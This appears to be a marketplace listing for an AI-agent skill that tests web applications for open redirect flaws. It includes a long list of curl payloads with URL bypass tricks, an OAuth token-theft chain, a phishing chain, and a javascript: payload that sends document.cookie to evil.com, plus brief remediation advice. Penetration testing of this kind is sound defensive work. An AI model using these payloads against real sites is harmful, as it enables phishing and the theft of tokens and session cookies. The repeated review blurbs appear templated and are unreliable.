Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.
Works with
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versiontesting-for-open-redirect-vulnerabilitiesExecute the skills CLI command in your project's root directory to begin installation:
Fetches testing-for-open-redirect-vulnerabilities from mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate testing-for-open-redirect-vulnerabilities. Access via /testing-for-open-redirect-vulnerabilities in your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
0
total installs
0
this week
8.6K
GitHub stars
0
upvotes
Run in your terminal
0
installs
0
this week
8.6K
stars
| name | testing-for-open-redirect-vulnerabilities |
| description | Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - open-redirect - url-redirect - phishing - owasp - url-validation - redirect-bypass - unvalidated-redirect |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=
# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters
# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"
# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"
# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://[email protected]"
# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"
# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"
# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"
# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"
# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"
# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"
# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"
# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"
# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"
# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"
# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"
# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL
# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ
# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt
# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml
# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
| Concept | Description |
|---|---|
| Unvalidated Redirect | Application redirects to user-supplied URL without checking destination |
| URL Parsing Inconsistency | Different libraries parse URLs differently, enabling bypass |
| Protocol-Relative URL | Using // prefix to redirect while inheriting current protocol |
| Userinfo Abuse | Using @ symbol to make URL appear to belong to trusted domain |
| Open Redirect Chain | Combining multiple open redirects or chaining with other vulnerabilities |
| DOM-Based Redirect | Client-side JavaScript performing redirect using attacker-controlled input |
| Meta Refresh Redirect | HTML meta tag performing redirect without server-side 302 |
| Tool | Purpose |
|---|---|
| OpenRedireX | Automated open redirect vulnerability testing tool |
| Burp Suite | HTTP proxy for intercepting and modifying redirect parameters |
| gf (tomnomnom) | Pattern matcher to extract redirect parameters from URL lists |
| nuclei | Template-based scanner with open redirect detection templates |
| ffuf | Fuzzer for mass-testing redirect parameter payloads |
| OWASP ZAP | Automated scanner with open redirect detection |
## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse
### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://[email protected] | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |
### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters
Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
mukul975/Anthropic-Cybersecurity-Skills
Keeps context tight: testing-for-open-redirect-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
I recommend testing-for-open-redirect-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
testing-for-open-redirect-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Registry listing for testing-for-open-redirect-vulnerabilities matched our evaluation — installs cleanly and behaves as described in the markdown.
I recommend testing-for-open-redirect-vulnerabilities for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
testing-for-open-redirect-vulnerabilities is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Keeps context tight: testing-for-open-redirect-vulnerabilities is the kind of skill you can hand to a new teammate without a long onboarding doc.
testing-for-open-redirect-vulnerabilities fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
testing-for-open-redirect-vulnerabilities reduced setup friction for our internal harness; good balance of opinion and flexibility.
testing-for-open-redirect-vulnerabilities fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
showing 1-10 of 29